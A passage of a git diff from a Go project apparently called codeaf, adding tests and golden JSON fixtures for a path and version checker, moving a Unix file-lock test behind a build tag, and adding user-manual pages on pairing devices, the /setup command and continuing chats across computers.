persisted { + if b := encode(t, o.sample); !VersionFirst(b) { + t.Errorf("%s does not start with {\"V\":: %s", o.name, b) + } + } +} + +func TestCheckersBite(t *testing.T) { + home, _ := os.UserHomeDir() + for _, doc := range []string{ + `{"V":1,"p":"/etc/x"}`, `{"a":["C:\\Users\\x"]}`, `{"a":{"b":"` + home + `/x"}}`, + } { + if len(NoAbsolutePaths([]byte(doc))) == 0 { + t.Errorf("NoAbsolutePaths missed %s", doc) + } + } + if NoAbsolutePaths([]byte(`{"V":1,"r":"https://h/x","p":"a/b"}`)) != nil { + t.Error("NoAbsolutePaths flagged relative values") + } + if VersionFirst([]byte(`{"class":"x","V":1}`)) { + t.Error("VersionFirst accepted V that is not first") + } +} + +func TestNoAbsolutePathsUnderBites(t *testing.T) { + dir := t.TempDir() + write := func(name, body string) { + if err := os.WriteFile(filepath.Join(dir, name), []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + write("clean.json", `{"p":"a/b"}`) + write("bad.json", `{"p":"/etc/x"}`) + write("lines.jsonl", "{\"p\":\"a\"}\n\n{\"p\":\"/etc/y\"}\n") + write("note.txt", "/etc/z") + found, err := NoAbsolutePathsUnder(dir) + if err != nil { + t.Fatal(err) + } + if len(found["bad.json"]) != 1 || len(found["lines.jsonl"]) != 1 || len(found["clean.json"]) != 0 || len(found["note.txt"]) != 0 { + t.Errorf("findings = %v", found) + } +} + +func TestConstructsTypeBites(t *testing.T) { + for _, src := range []string{ + "package p\nvar _ = Turn{}", "package p\nvar _ = &x.Turn{}", + "package p\nvar _ = new(Turn)", "package p\nvar t Turn", + } { + hits, err := ConstructsType("f.go", src, "Turn") + if err != nil || len(hits) != 1 { + t.Errorf("want one hit for %q, got %v %v", src, hits, err) + } + } + hits, _ := ConstructsType("f.go", "package p\ntype Turn struct{}\nfunc f(t Turn) {}", "Turn") + if len(hits) != 0 { + t.Errorf("declaration or use counted as construction: %v", hits) + } +} + +func TestLawL2OneConstructorOfTurn(t *testing.T) { + root := moduleRoot(t) + seen := 0 + for _, dir := range turnScope { + for _, file := range goFiles(t, filepath.Join(root, dir)) { + hits, pkg := constructions(t, file) + seen += len(hits) + if len(hits) > 0 && pkg != sealingPackage { + t.Errorf("%s (package %s) builds %s outside %s: %v", file, pkg, sealedType, sealingPackage, hits) + } + } + } + if seen == 0 { + t.Logf("no %s is built in %v yet: the law passes vacuously and bites once one exists", sealedType, turnScope) + } +} + +func constructions(t *testing.T, file string) (hits []string, pkg string) { + t.Helper() + src, err := os.ReadFile(file) + if err != nil { + t.Fatal(err) + } + hits, err = ConstructsType(file, src, sealedType) + if err != nil { + t.Fatal(err) + } + f, err := parser.ParseFile(token.NewFileSet(), file, src, parser.PackageClauseOnly) + if err != nil { + t.Fatal(err) + } + return hits, packageName(f) +} + +func packageName(f *ast.File) string { return f.Name.Name } + +// goFiles lists non-test Go sources under dir; a missing dir is empty. +func goFiles(t *testing.T, dir string) []string { + t.Helper() + var out []string + err := filepath.WalkDir(dir, func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(p, ".go") || strings.HasSuffix(p, "_test.go") { + return nil + } + out = append(out, p) + return nil + }) + if err != nil { + t.Fatal(err) + } + return out +} + +func moduleRoot(t *testing.T) string { + t.Helper() + dir, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for ; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir + } + } + t.Fatal("go.mod not found") + return "" +} + +func TestGoldenFixtures(t *testing.T) { + for _, o := range append(append([]row{}, persisted...), deviceLocal...) { + t.Run(o.name, func(t *testing.T) { + Golden(t, filepath.Join("testdata", o.name+".golden.json"), o.sample) + }) + } +} diff --git a/internal/lawcheck/testdata/cell.Meta.golden.json b/internal/lawcheck/testdata/cell.Meta.golden.json new file mode 100644 index 0000000000..4b10f71256 --- /dev/null +++ b/internal/lawcheck/testdata/cell.Meta.golden.json @@ -0,0 +1 @@ +{"V":1,"class":"files-only","cell_key_id":"00112233445566778899aabbccddeeff","base":{"remote":"https://example.test/repo.git","sha":"abc123"}} diff --git a/internal/lawcheck/testdata/cellbudget.Entry.golden.json b/internal/lawcheck/testdata/cellbudget.Entry.golden.json new file mode 100644 index 0000000000..385ef8c5db --- /dev/null +++ b/internal/lawcheck/testdata/cellbudget.Entry.golden.json @@ -0,0 +1 @@ +{"V":1,"root":"/cells/01J","opened_ms":1759049981200,"bytes":4096,"measured_ms":1759049990000,"evicted":{"snapshot":"9f2c","at_ms":1759050000000,"paths":["work"]}} diff --git a/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json b/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json new file mode 100644 index 0000000000..a1cbcd70aa --- /dev/null +++ b/internal/lawcheck/testdata/cellbudget.Entry.resident.golden.json @@ -0,0 +1 @@ +{"V":1,"root":"/cells/01J","opened_ms":1759049981200,"bytes":0,"measured_ms":0} diff --git a/internal/lawcheck/testdata/cellstore.Intent.golden.json b/internal/lawcheck/testdata/cellstore.Intent.golden.json new file mode 100644 index 0000000000..ed3133c65f --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Intent.golden.json @@ -0,0 +1 @@ +{"V":1,"tool":"bash","args_hash":"d1f0","started":1759049981200,"side_effect":"external"} diff --git a/internal/lawcheck/testdata/cellstore.Receipt.golden.json b/internal/lawcheck/testdata/cellstore.Receipt.golden.json new file mode 100644 index 0000000000..b700077d02 --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Receipt.golden.json @@ -0,0 +1 @@ +{"V":1,"transcript_range":{"start":40213,"end":41877},"calls":[{"tool":"bash","args_hash":"d1f0","started":1759049981200,"ended":1759049981940,"exit":0,"stdout_hash":"0a1b","stderr_hash":"e3b0","side_effect":"local"}],"services":[{"pid":4711,"argv":["postgres","-D","var/pg"],"ports":[5432]}],"model_calls":[{"model":"deepseek/deepseek-v4.1-flash","params_hash":"7c7c","request_hash":"5a5a","response_hash":"b2b2","tokens_in":5210,"tokens_out":412,"cost_micro_usd":613}]} diff --git a/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json b/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json new file mode 100644 index 0000000000..e24036f42c --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Receipt.minimal.golden.json @@ -0,0 +1 @@ +{"V":1,"transcript_range":{"start":0,"end":0},"calls":[]} diff --git a/internal/lawcheck/testdata/cellstore.Turn.golden.json b/internal/lawcheck/testdata/cellstore.Turn.golden.json new file mode 100644 index 0000000000..7f4b743fa7 --- /dev/null +++ b/internal/lawcheck/testdata/cellstore.Turn.golden.json @@ -0,0 +1 @@ +{"V":1,"id":"9f2c","parent":"41ab","merge_parents":["77d0"],"sealed_at_ms":1759049990120,"quality":"Quiescent","trigger":"Setup","device":"c0de","fence":17,"receipt":"77d0","excluded_paths":["node_modules"]} diff --git a/internal/lawcheck/testdata/inventory.Inventory.golden.json b/internal/lawcheck/testdata/inventory.Inventory.golden.json new file mode 100644 index 0000000000..4ce4193794 --- /dev/null +++ b/internal/lawcheck/testdata/inventory.Inventory.golden.json @@ -0,0 +1 @@ +{"V":1,"tools":[{"name":"node","binary_hash":"3fa9c2","version_string":"v22.4.0"}],"services":[{"name":"postgres","version":"16.3","ports":[5432],"data_dir":"var/pg"}],"platform":{"os":"linux","arch":"amd64"},"lockfiles":["uv.lock"],"env_var_names":["DATABASE_URL"],"hints":{"devcontainer":".devcontainer/devcontainer.json"},"annotations":{"postgres":{"optional":true}}} diff --git a/internal/lawcheck/testdata/session.SessionTruth.golden.json b/internal/lawcheck/testdata/session.SessionTruth.golden.json new file mode 100644 index 0000000000..c65056949b --- /dev/null +++ b/internal/lawcheck/testdata/session.SessionTruth.golden.json @@ -0,0 +1 @@ +{"V":1,"launch_dir":"workspace:cmd","owned":true,"effort":"high","approval":"allow","places":[{"path":"home:proj","arrival":"said","referred":"0001-01-01T00:00:00Z"}],"trees":[{"folder":"home:proj","dir":"session:trees/a","mode":"","root":"home:proj","cut":"0001-01-01T00:00:00Z","wrote":["a.go"]}],"archived":true,"archived_tasks":{"t1":true}} diff --git a/internal/lease/resident_test.go b/internal/lease/resident_test.go index 4ae9611e31..41a9c95cf0 100644 --- a/internal/lease/resident_test.go +++ b/internal/lease/resident_test.go @@ -3,7 +3,6 @@ package lease import ( "os" "path/filepath" - "syscall" "testing" "time" ) @@ -273,37 +272,3 @@ func TestTwoStoresInOneDirectoryEachGetTheirOwnResident(t *testing.T) { // serving this very store, and two brains over one journal is the one outcome // this lease exists to prevent — so the old process keeps the role until it // exits, exactly as it did before. -func TestALiveLegacyHolderStillOwnsTheRole(t *testing.T) { - dir := t.TempDir() - store := filepath.Join(dir, "graph.db") - legacy, err := os.OpenFile(filepath.Join(dir, legacyLockName), os.O_RDWR|os.O_CREATE, 0o600) - if err != nil { - t.Fatal(err) - } - defer legacy.Close() - if err := syscall.Flock(int(legacy.Fd()), syscall.LOCK_EX|syscall.LOCK_NB); err != nil { - t.Fatal(err) - } - if err := writeResident(legacy, Resident{PID: os.Getpid(), Host: "here", Surface: "chat"}); err != nil { - t.Fatal(err) - } - - release, holder, err := AcquireResident(store, "do") - if err != nil || release != nil || holder == nil { - t.Fatalf("acquire beside a live legacy holder = release %v, holder %+v, err %v", release != nil, holder, err) - } - probed, err := ProbeResident(store) - if err != nil || probed == nil || probed.PID != os.Getpid() { - t.Fatalf("probe beside a live legacy holder = %+v, %v", probed, err) - } - - // Once it lets go, the role is free and store-keyed like everything else. - if err := syscall.Flock(int(legacy.Fd()), syscall.LOCK_UN); err != nil { - t.Fatal(err) - } - release, holder, err = AcquireResident(store, "do") - if err != nil || release == nil || holder != nil { - t.Fatalf("acquire after the legacy holder exited = release %v, holder %+v, err %v", release != nil, holder, err) - } - _ = release() -} diff --git a/internal/lease/resident_unix_test.go b/internal/lease/resident_unix_test.go new file mode 100644 index 0000000000..25b3a10038 --- /dev/null +++ b/internal/lease/resident_unix_test.go @@ -0,0 +1,46 @@ +//go:build !windows + +// K6 keeps Unix process, lock and mode assertions on the systems that provide them. +package lease + +import ( + "os" + "path/filepath" + "syscall" + "testing" +) + +func TestALiveLegacyHolderStillOwnsTheRole(t *testing.T) { + dir := t.TempDir() + store := filepath.Join(dir, "graph.db") + legacy, err := os.OpenFile(filepath.Join(dir, legacyLockName), os.O_RDWR|os.O_CREATE, 0o600) + if err != nil { + t.Fatal(err) + } + defer legacy.Close() + if err := syscall.Flock(int(legacy.Fd()), syscall.LOCK_EX|syscall.LOCK_NB); err != nil { + t.Fatal(err) + } + if err := writeResident(legacy, Resident{PID: os.Getpid(), Host: "here", Surface: "chat"}); err != nil { + t.Fatal(err) + } + + release, holder, err := AcquireResident(store, "do") + if err != nil || release != nil || holder == nil { + t.Fatalf("acquire beside a live legacy holder = release %v, holder %+v, err %v", release != nil, holder, err) + } + probed, err := ProbeResident(store) + if err != nil || probed == nil || probed.PID != os.Getpid() { + t.Fatalf("probe beside a live legacy holder = %+v, %v", probed, err) + } + + // Once it lets go, the role is free and store-keyed like everything else. + if err := syscall.Flock(int(legacy.Fd()), syscall.LOCK_UN); err != nil { + t.Fatal(err) + } + release, holder, err = AcquireResident(store, "do") + if err != nil || release == nil || holder != nil { + t.Fatalf("acquire after the legacy holder exited = release %v, holder %+v, err %v", release != nil, holder, err) + } + _ = release() +} diff --git a/internal/leave/leave_test.go b/internal/leave/leave_test.go index eee6f81d2f..85bfe341b5 100644 --- a/internal/leave/leave_test.go +++ b/internal/leave/leave_test.go @@ -1,3 +1,6 @@ +//go:build !windows + +// K6: these tests exercise Unix signals or the Unix-only senior-dev helper. package leave import ( diff --git a/internal/manual/chat/add-or-remove-a-computer.md b/internal/manual/chat/add-or-remove-a-computer.md new file mode 100644 index 0000000000..8d95802d60 --- /dev/null +++ b/internal/manual/chat/add-or-remove-a-computer.md @@ -0,0 +1,196 @@ +# Adding a computer to your devices, approving it, and removing it + +## How do I add a second device — the Add another device card (add another machine), codeaf pair, a link to paste, and pairing a server with no browser + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +Your chats and your work can follow you to a second device. You add it in two steps. There is no account to make and no form to fill. + +While you have only one device, home shows a card at the foot: + +``` ++ Add another device +Add another device — pick up your work anywhere, exactly where you left it. +alt+d how +``` + +Press `alt+d` to open the steps, and `alt+d` again to close them: + +``` +1. On the new device, install and run: codeaf pair +2. It shows a link. Paste it here: +> +``` + +1. On the new device, install codeaf and run `codeaf pair`. It makes a link and waits. +2. On this device, paste that link into the card, or paste it anywhere on home, or type it as your message (on home, on the start page of a new chat, or in any chat) and press enter. The link is never sent to the model. The approve screen opens (see "Approve a new device" below). Text that is not a pair link stays in the box as before. + +The card goes away once you have two devices. It is not drawn when this chat cannot pair at all, for example a chat that runs over `--host` or `--at`. + +## Pairing a server with no browser — the link, token and check number + +On the new computer, `codeaf pair` prints this while it waits: + +``` +Approve this device from one you already use. + +Open this link there: + https://codeaf.agentfield.ai/p/k7m2q9xd#Qm9v… + +Or, on a computer with codeaf, run: + codeaf pair approve k7m2q9xd.Qm9v… + +Check number: 4821 — the other device shows the same number. +Waiting for approval (10 minutes). Press ctrl+c to cancel. +``` + +A device with no screen or no browser, such as a server, does the same: run `codeaf pair` there and approve from your laptop. Two things name the same request: the link `https://codeaf.agentfield.ai/p/#`, which opens in a browser and hands over to the installed app (the part after `#` never leaves the browser), and the bare token `.`, for a terminal where nobody can click. `codeaf pair approve` takes either one, and so does pasting into home. When it is approved it says how many workspaces it can now reach: + +``` +Paired. 3 workspaces available. +``` + +(`Paired. 1 workspace available.` when there is one.) + +## What does codeaf pair --code do + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +`codeaf pair --code` shows a six-digit code on this computer. On the other computer, run `codeaf pair ` to share this computer's chats. Compare the three words and approve on the computer showing the code. The page *Pairing your chats with a second computer* explains each step. + +## The pair words — approve, --code and --via + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +``` +usage: codeaf pair [--name ] | codeaf pair approve | codeaf pair [--replace] [--name ] | codeaf pair --code +``` + +- `codeaf pair` with nothing after it is for the NEW device. It asks to join and shows a link. +- `codeaf pair approve ` is for a device that is already in. It shows who is asking and asks `a / d`. Only `a` approves; `d`, Esc, Enter and anything else decline. Pasting the link into the chat, or typing `/pair `, does the same thing on a screen. +- `--name ` is what your devices call this computer. See the page *Naming a device*. +- `--via
` names the address of the service to go through when it is not the one this device already uses. Pass it to both `codeaf pair` and `codeaf pair approve`. The new device prints the full approve line with `--via` in it when one is needed. + +With a self-hosted address (`CODEAF_SYNC_URL=` or `--via
`), the link opens that service's own `/p/` page, and the terminal approval token includes `--via
`. It never prints a hosted page link for that invitation. The page shows the token command and an app link that keep the same address; the key stays after `#`. An address without a web page uses only the terminal token. Pasting a self-hosted link into a chat configured for another address sends no request and says `this pairing link uses another sync address — approve it in a terminal with the command shown on the new device`. + +A link is good for 10 minutes and one approval. If it ran out, run `codeaf pair` on the new device again. Ctrl+c while it waits ends with `Cancelled. Nothing was paired.` + +## The four-digit check — how I know the right computer is asking + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +The new device shows a check number of four digits. The device that approves shows the same four digits. Look at both screens. Approve only when they match. If they do not match, decline: somebody else may have used the link. + +On the approving screen the number reads `Check number 4821. Approve only if the new device shows the same number.` In a terminal the question reads the same: `a / d`. Only `a` approves; `d`, Esc, Enter and anything else decline. Code pairing keeps its `y / n` question. + +## Approve a new device — the approve screen, a and d, and decline + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +When you open a link on a device that is already in (paste it, or type `/pair `), the screen says who is asking: + +``` +A new device wants to pair. + $ laptop · Linux + asked just now · 9 min left +Check number 4821. Approve only if the new device shows the same number. +a approve · d decline · esc later +``` + +- `a` lets it in. Press nothing else: **enter does nothing here**, because a device that is let in can read your chats. +- `d` declines it. The screen says `laptop was declined.` +- `esc` closes the screen without deciding. The request stays open until it runs out, and the same link opens it again. + +The line under the name says what system the new device runs (Mac, Linux, Windows, iPhone or iPad, Android, or unknown system), when it asked, and how many minutes are left. A request that ran out says `run out`, and the screen says `that request has run out — ask the new device for a new link`. + +While your answer is on its way the screen says `approving…` or `declining…` and offers no keys but `esc close`. If your other devices do not answer in time it says `no answer from your devices — try again`, and `a` and `d` work again. When the request has run out, `a` and `d` are not offered at all. + +When you approve, your screen says: + +``` +laptop is now paired. Your chats can continue there. +``` + +Every other device that is on says it too, a moment later, from the same message. In a terminal approval the line is `laptop is now paired. Your chats can continue there.` and a no says `Declined. Nothing was paired.` The terminal first says `laptop (Linux) wants to pair.` (the system is left out when it is not known). `codeaf pair approve` with nothing after it says `usage: codeaf pair approve — the link or code the new device shows`. + +## What does the dot next to a computer mean — the devices row, online and offline + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +When you have two or more devices, home shows one row of them: + +``` +● This Mac ● spark ○ dumb (offline) +``` + +A filled green dot `●` is a device that is online now, and always your own. A hollow dim dot `○` with `(offline)` is one that is not online: its lid is closed or codeaf is not running there. A computer counts as online only while it keeps answering: when another computer has not answered for 25 seconds (it is asleep, frozen, switched off or disconnected) its dot goes hollow and reads `(offline)`, within 30 seconds of its last answer, and a frozen computer no longer shows as online for minutes. It is back at once when it answers again. The row changes by itself, with no key to press, when a device comes or goes. As a backstop, home also reads the list again every 5 minutes while it is connected, and every minute while it is not. If home cannot tell who is online, the row is not drawn, because a row that guessed would be wrong. + +Under the row, `alt+m bring work here` brings the newest chat of an online device to this one. With more than one choice it asks `Which device?` and the last choice is `leave it there`. If there is nothing to bring it says `no other device that is online has a chat to bring here`. The page *Continuing a chat on another device* tells what happens next. + +## Does the other computer appear on the device list straight after pairing — a just-paired device, devices empty after pairing + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Yes, on both sides. When a pairing finishes — a six-digit code on both screens, a link +typed into `codeaf pair approve`, either end of it — the computer it finished on writes +its own device record then and there, the same record every chat start writes. For a link approved from the chat card or `codeaf pair approve`, the approving computer writes its record before the new device can receive `Paired.`; if that write fails, approval can be tried again and the request has not been granted. `codeaf +devices` and `/devices` show both computers at once, on each computer, with no chat +opened first. With the six-digit-code route, if that record did not land, the pairing still stands and the terminal +says one line about it, `paired, but this device could not write its own record: … — it +is written at the next chat start.`, and the pairing ends cleanly. + +## Which devices do I have — /devices, how to remove or revoke one, a device that was revoked, and I was told this machine was removed + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Type `/devices` to list them: + +``` +› ● This Mac Mac this device + ● spark Linux + ○ dumb Linux seen 3h ago +↑↓ choose · n rename · r remove · esc close +``` + +A filled dot is online, a hollow one is not, and an offline device says when it was last on (`seen 3h ago`), or just `offline` when it was never seen. With only your own device it says `no other device yet — /pair adds one`, and the keys shrink to the ones that work: `n rename · esc close`. `r remove` shows only on a row that can be removed, and `↑↓ choose` only when there is another row. + +To remove a device (the command line calls this revoking: `codeaf devices revoke `), move to its row and press `r`. It is removed at once and the row says `removed`: + +``` +dumb was removed — it can no longer reach your chats. +``` + +The list is in a fixed order: this device first, then devices that are online, then the rest, each by name. Two devices with the same name show a short tail, such as `spark #a1b2`, so you can tell them apart. Your own computer has no `r`: it cannot remove itself, and if you press `r` there the list says `this device cannot remove itself — choose another row.` A computer that is already removed does nothing when you press `r`. A removed computer can only come back as a new request that you approve. If you remove a computer from another of your devices while this list is open, its row changes to `removed` here too, without closing the list. Removing a computer does not undo what it already holds: for a lost computer read the page *Locking out a lost computer for good*. + +## I was told this device was removed — how to bring it back + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +If this computer was removed while its window was closed, the explanation appears on home on the next launch too. The launch check and the live check share one notice, so learning it both ways does not repeat it. + +Another of your devices removed this one. The chat says: + +``` +this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back +``` + +`/devices` on the removed computer says the same line in place of the list. The terminal command `codeaf devices` gives its removal explanation once, without following it with `nothing is paired yet`. It appears the moment the other device removes this one, even if codeaf has been open for days, in the open chat and on the home screen alike, and once only. Your chats on this device are safe and stay on it. They no longer follow your other devices. To bring the device back, run `codeaf pair` here, then approve the link it shows from a device that is still in (the steps above). If you did not mean to remove it, that is the whole fix. + +## The link did not work — a pairing link or token that ran out, was declined or was answered already + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +These are the sentences a link pairing says when it stops, in the words the screen uses. Nothing was changed on either device when you read one of them. + +- `that is not a codeaf pairing link or code; it looks like https://codeaf.agentfield.ai/p/k7m2q9xd#... or k7m2q9xd.`: what was pasted is neither shape. Paste the whole link or the whole `.` token. A link from any other host is not a codeaf link. +- `the link ran out before anyone approved it; run `codeaf pair` again for a new one`: a link is good for 10 minutes. +- `that link is not waiting any more; run `codeaf pair` on the new device for a fresh one`: the link is unknown, already used or gone. Those are one answer on purpose. +- `that request was already answered`: another of your devices approved or denied it first. +- `the request was declined on your other device; run `codeaf pair` to ask again`: the new device sees this when you decline. +- `the check number does not fit that device, so nothing was approved`: the number on the approve screen does not belong to the device that asked. Do not approve; ask again. +- `this device has no codeaf identity yet; start codeaf here once before approving another device`: this computer has never started codeaf, so there is no local identity to share yet. Start codeaf here once, then approve the other computer. +- `paired, but your devices could not be read yet; open codeaf again in a moment`: the pairing worked; the device list needs a moment. + +Too many requests from one network are refused too: at most 10 new links in an hour and 3 waiting at once from one network. See *Pairing your chats with a second computer* for the older six-digit code and its own limit `too many pairings from this network; wait 7 min`. diff --git a/internal/manual/chat/automations.md b/internal/manual/chat/automations.md index 552af249be..150df207e8 100644 --- a/internal/manual/chat/automations.md +++ b/internal/manual/chat/automations.md @@ -643,7 +643,7 @@ and a short summary: that summary is the line you read, and a run that never cal The `automation` tool is not there inside a task, inside an automation's own run, or where nothing can keep automations — so an automation can never set up another one. -## Where did standing orders go — what happened to /standing, the standing orders page, keeping an eye, and turning off background checks +## How do I force it to be standing — where did standing orders go, what happened to /standing, what does the standing orders page show, keeping an eye, and turning off background checks **Standing orders are gone, and automations replaced them.** `/standing` and `/orders` are not commands any more — they answer `there is no command called /standing · / lists them` diff --git a/internal/manual/chat/commands.md b/internal/manual/chat/commands.md index e2cdb2fabb..41aee7c5b4 100644 --- a/internal/manual/chat/commands.md +++ b/internal/manual/chat/commands.md @@ -29,6 +29,8 @@ restores the ordinary prompt. Combined stdout/stderr appears as plain text while the command runs, preserving line breaks and indentation. Wide lines wrap; terminal control sequences are removed for safe display. The command and output remain in history after reopening. The model waits for your next message before responding. +In a chat that can move between computers, file changes from `!` are included in +its next saved turn, just like changes from the model's shell commands. A failed command keeps its output and exit status too. Shell paths, `@` names and slash words remain literal, not mentions or send tags. @@ -331,10 +333,24 @@ command). | `/budget` | `/limits` | `` | sets the day's limit · `none` removes it | | `/budget` | `/limits` | ` ` | sets one by name: `day`, `conversation`, `plan` | +## Pairing commands — /pair, /pair , /sync, /link and /laptop + +| Command | Aliases | Argument | Effect | +|---|---|---|---| +| `/pair` | `/sync`, `/link`, `/laptop` | — | shows a code like `42-715-302`, valid 10 minutes, that gives your chats to another computer, then asks `y / n` when that computer types it | +| `/pair` | `/sync`, `/link`, `/laptop` | `` | on the other computer: uses a code from `/pair` there, and shows three words to compare while it waits | +| `/pair` | `/sync`, `/link`, `/laptop` | ` --replace` | on the other computer: like ``, but a computer with chats of its own is asked first, and an explicit yes replaces them with the shared ones — chats sealed under the old identity cannot be read afterwards | +| `/pair` | `/sync`, `/link`, `/laptop` | `` | on a device that is already paired: opens a new device's request from the link it shows, with its name, system, time and a check number to compare, then `a` approves and `d` declines | +| `/devices` | — | — | lists your devices with `●` online and `○` away; `n` renames this device, `r` removes the one under the cursor at once, and a removed device can only return as a new request you approve | + +The words to type are `/pair`, `/pair `, `/sync`, `/link` and `/laptop`. All five open the same door. In a terminal `codeaf pair --code` shows a code and `codeaf pair ` uses one; bare `codeaf pair` requests approval by link instead. The page *Pairing your chats with a second computer* has the whole story: the three words, one attempt for each code, and what revoking cannot take back. + ## Cache, display and export commands | Command | Aliases | Argument | Effect | |---|---|---|---| +| `/setup` | — | — | prepare this machine: shows what this device lacks for the conversation (present, installable, impossible) and, for a chat that moved here, the folders it did not bring along, and does nothing else | +| `/setup` | — | `now` | installs missing tools and rebuilds folders left behind by a move; asks first unless listed commands were approved or approvals are open | | `/cache` | — | — | how big the shared build cache is, and where | | `/cache` | — | `clean` | asks first, then deletes the cache to free disk — confirm with `/cache clean now` | | `/cache` | — | `clean now` | deletes the shared build cache now | @@ -2238,3 +2254,21 @@ delete a task, or remove its output. Open Tasks to read results and run details. select it with the arrow keys and press Enter to read its log. `/processes ` opens a known process directly. Escape returns from a log to the list, then back to chat. The sidebar itself only shows running processes, without a completed count. + +## /setup — prepare this machine so a conversation can run here + +A conversation carries a record of the tools and services it has used (codeaf builds it by +watching what ran; the agent cannot write it). `/setup` compares that record with this +machine and lists three kinds of line: what is already here, what the agent can install +("needs jq — agent can set it up"), and what is impossible on this machine (a GPU, a +Mac-only toolchain, a service on another network). Impossible lines are shown and never +attempted. For a chat that moved here from another machine it also lists `not brought along:` +the install folders a lockfile rebuilds (`node_modules`, `.venv`) with the command that brings +each back (see "What a moved chat left behind" in home). When nothing is installable and +nothing was left behind, `/setup` says so and does nothing. + +## /setup now — install missing tools after a move, with ordinary network access + +`/setup now` starts a **setup turn**: the agent installs the installable items and brings back what a move left behind, into user space. A new chat's commands already have the network and this computer's ordinary access; `/setup` is not needed to open the network or to install outside the workspace. Each setup call asks first unless approvals are open (`--yolo` or the allow posture), or the arrival card already approved that exact listed command. The setup approval floor still applies in a host-bound chat. Calls are recorded as external and the turn says `Setup` in `codeaf cell log`. + +Limits: a setup turn is never replayed on another machine (the agent does it again there), never attempts impossible items, and can be rewound like any turn. When it ends, codeaf looks at what is now on this machine and updates the record. Existing cells keep their declared class: an older sandboxed cell still has its folder limits and opens its network for the setup turn only. Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. A compatible furrow engine is required. Without a cell there is nothing to set up. diff --git a/internal/manual/chat/continuing-a-chat-on-another-computer.md b/internal/manual/chat/continuing-a-chat-on-another-computer.md new file mode 100644 index 0000000000..80e620a41d --- /dev/null +++ b/internal/manual/chat/continuing-a-chat-on-another-computer.md @@ -0,0 +1,222 @@ +# Continuing a chat that one of your machines holds + +To continue on this machine, select the chat on home and choose `continue here`. When your paired computer is offline or has let go of its latest chat, home can ask `Continue spark's latest chat here?`: `alt+c` opens its continuation card, and `alt+x` dismisses the offer. Moving chats is available by default on Linux, macOS and native Windows with a compatible engine. Existing older local chats stay local. + +## Why can't I type in this chat — my message did not send and home opened with a question + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +A chat can be worked on by one device at a time. If you open a chat here that another of your devices is running right now, and you type a message and press enter, the message does not go to the chat. Home opens instead, with that chat's row under the cursor and the question up: + +``` +Continue this chat here? +running on spark; last saved turn 4s ago +1 continue here +2 leave it there +``` + +Your words stay in the box. Nothing was sent, and no branch nobody asked for was made. This card came up because you sent a message, not because you chose to continue, so `leave it there` is already chosen and leaning on enter changes nothing. Press `1`, then enter, to continue the chat on this device. + +An attended window keeps following your other devices while the chat is open, so a move is shown without returning to home first. Slash commands such as `/help` always work. + +If you continue it, the other device's window stops taking new turns and says ` continued this chat; this window now only shows it`. The page *Home* has the rest of that card. + +## What does leave it there do + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +On `Continue this chat here?`, `leave it there` closes the question without moving the chat. Your typed words stay in the box and nothing is sent. If the question opened because you tried to send from an older window, this answer is already selected. Choose `1 continue here` to bring the chat here before sending. + +## What does running on spark mean — a row on home and the verb it offers + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Home lists chats from your other devices. A chat that a device is working on now says `running on `. One that a device let go of, or that went off because its lid closed, says ` offline`. + +Press enter on either row to continue it here. The verb on the card depends on the row: **Move here** for a chat another device is running right now, **Continue here** for one it let go of. You already chose to continue, so the cursor starts on `continue here` and enter completes the move; `esc` leaves it there. The card says how fresh the copy is, so you know how many turns may still be on the other device. + +## Continue on this machine — Continue where you left off, alt+c and alt+x + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +If you open codeaf and a chat on another device was running or went off in the last 24 hours, and that device is offline now (its lid is closed) or has let go of the chat, home offers it first of all: + +``` +Continue spark's latest chat here? +alt+c continue here · alt+x not now +``` + +- `alt+c` opens the same card as above, with the reason and the cursor on `continue here`, so enter finishes it. Nothing is moved by this line alone. +- `alt+x` dismisses it for that device until you open codeaf again. + +The line follows the devices row: it stands while the device is offline or has let go of the chat, even if that became true after you opened codeaf, and goes away if the device comes back. A device that is online and still working on the chat is never offered. + +To bring work from a device that is online, use the devices row: `alt+m bring work here`. The page *Adding a device to your devices, approving it, and removing it* shows the row and the dots. + +## What happens when the chat arrives — the banner Moved from spark, and what was not brought + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +When the chat opens on this device it starts with one line that says how long the move took: + +``` +Moved from spark in 3.2s. Everything as you left it. +``` + 